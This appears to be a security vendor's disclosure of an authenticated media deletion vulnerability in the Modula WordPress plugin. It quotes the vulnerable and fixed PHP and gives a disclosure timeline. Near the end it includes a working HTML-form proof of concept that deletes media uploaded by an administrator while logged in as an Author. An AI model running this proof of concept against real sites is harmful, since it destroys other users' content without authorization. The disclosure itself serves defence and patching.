Our Proactive Monitoring of WordPress Plugins Caught an Authenticated Media Deletion Vulnerability in Modula
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. For our customers, we also run the plugins they use through an expanded version of that monitoring on a weekly basis. (Which is a good reason to use our service.) Through that, we caught a variant of one of those vulnerabilities, an authenticated media deletion vulnerability, in the plugin Modula.
In the file /includes/admin/class-modula-gallery-upload.php, the function ajax_unzip_file() is registered to be accessible to those logged in to WordPress:
81 | add_action( 'wp_ajax_modula_unzip_file', array( $this, 'ajax_unzip_file' ) ); |
That function has code at various points that would delete arbitrary media specified that the POST input “fileID” through the function wp_delete_attachment(). Here is the beginning of the code where it does that if the file isn’t a ZIP file:
1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 | public function ajax_unzip_file() { // Check Nonce check_ajax_referer( 'list-files', 'security' ); // Check user rights. if ( ! $this->check_user_upload_rights() ) { wp_send_json_error( __( 'You do not have the rights to upload files.', 'modula-best-grid-gallery' ) ); } if ( empty( $_POST['fileID'] ) ) { wp_send_json_error( __( 'No file was provided.', 'modula-best-grid-gallery' ) ); } // Get the file ID. $file_id = absint( $_POST['fileID'] ); // Get the file path. $file = get_attached_file( $file_id ); // Validate that this is actually a zip file if ( ! class_exists( 'ZipArchive' ) ) { wp_delete_attachment( $file_id, true ); wp_send_json_error( __( 'ZIP extension is not installed on the server.', 'modula-best-grid-gallery' ) ); } $zip = new ZipArchive(); $zip_opened = $zip->open( $file ); if ( $zip_opened !== true ) { wp_delete_attachment( $file_id, true ); |
That code checks for a valid nonce to prevent cross-site request forgery (CSRF) and limits access to users that meet the requirements of the function check_user_upload_rights(). That function checks if the user can upload files and edit posts:
107 108 109 110 111 112 113 114 115 116 117 118 | public function check_user_upload_rights() { // Include the pluggable file if it's not already included. Seems to be a problem // when checking the current user capabilities. if ( ! function_exists( 'wp_get_current_user' ) ) { include_once ABSPATH . 'wp-includes/pluggable.php'; } // Check if the user has the rights to upload files and edit posts. if ( ! current_user_can( 'upload_files' ) || ! current_user_can( 'edit_posts' ) ) { return false; } return true; |
Those are both normally true for users with the Author role and above. Users with the Author role can delete media they have uploaded, but they can’t delete media others have uploaded. The code allowed them to do that.
After we notified the developer of that, they released version 2.12.12, which addresses this. That replaces direct calls of wp_delete_attachment() with a new function delete_atachment():
1028 | $this->delete_atachment( $file_id, true ); |
That function checks if the user is allowed to delete the media:
1154 1155 1156 1157 1158 1159 | private function delete_atachment( $file_id, $force ){ if ( ! current_user_can( 'delete_post', $file_id ) ) { return false; } return wp_delete_attachment( $file_id, $force ); } |
Proof of Concept
The following proof of concept will delete the specified media, when logged in to WordPress as an Author
Replace “[path to WordPress]” with the location of WordPress, “media ID] with the ID of a piece of media uploaded by an Administrator, and [nonce] with the value for the key “security on the line that starts modulaGalleryUpload on the page /wp-admin/post-new.php?post_type=modula-gallery
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=modula_unzip_file" method="POST"> <input type="hidden" name="fileID" value="[media ID]" /> <input type="hidden" name="security" value="[nonce]" /> <input type="submit" value="Submit" /> </form> </body>
Timeline
- April 29, 2025 – Developer notified.
- April 30, 2025 – Developer responds.
- May 13, 2025 – Fixed is released in version 2.12.12.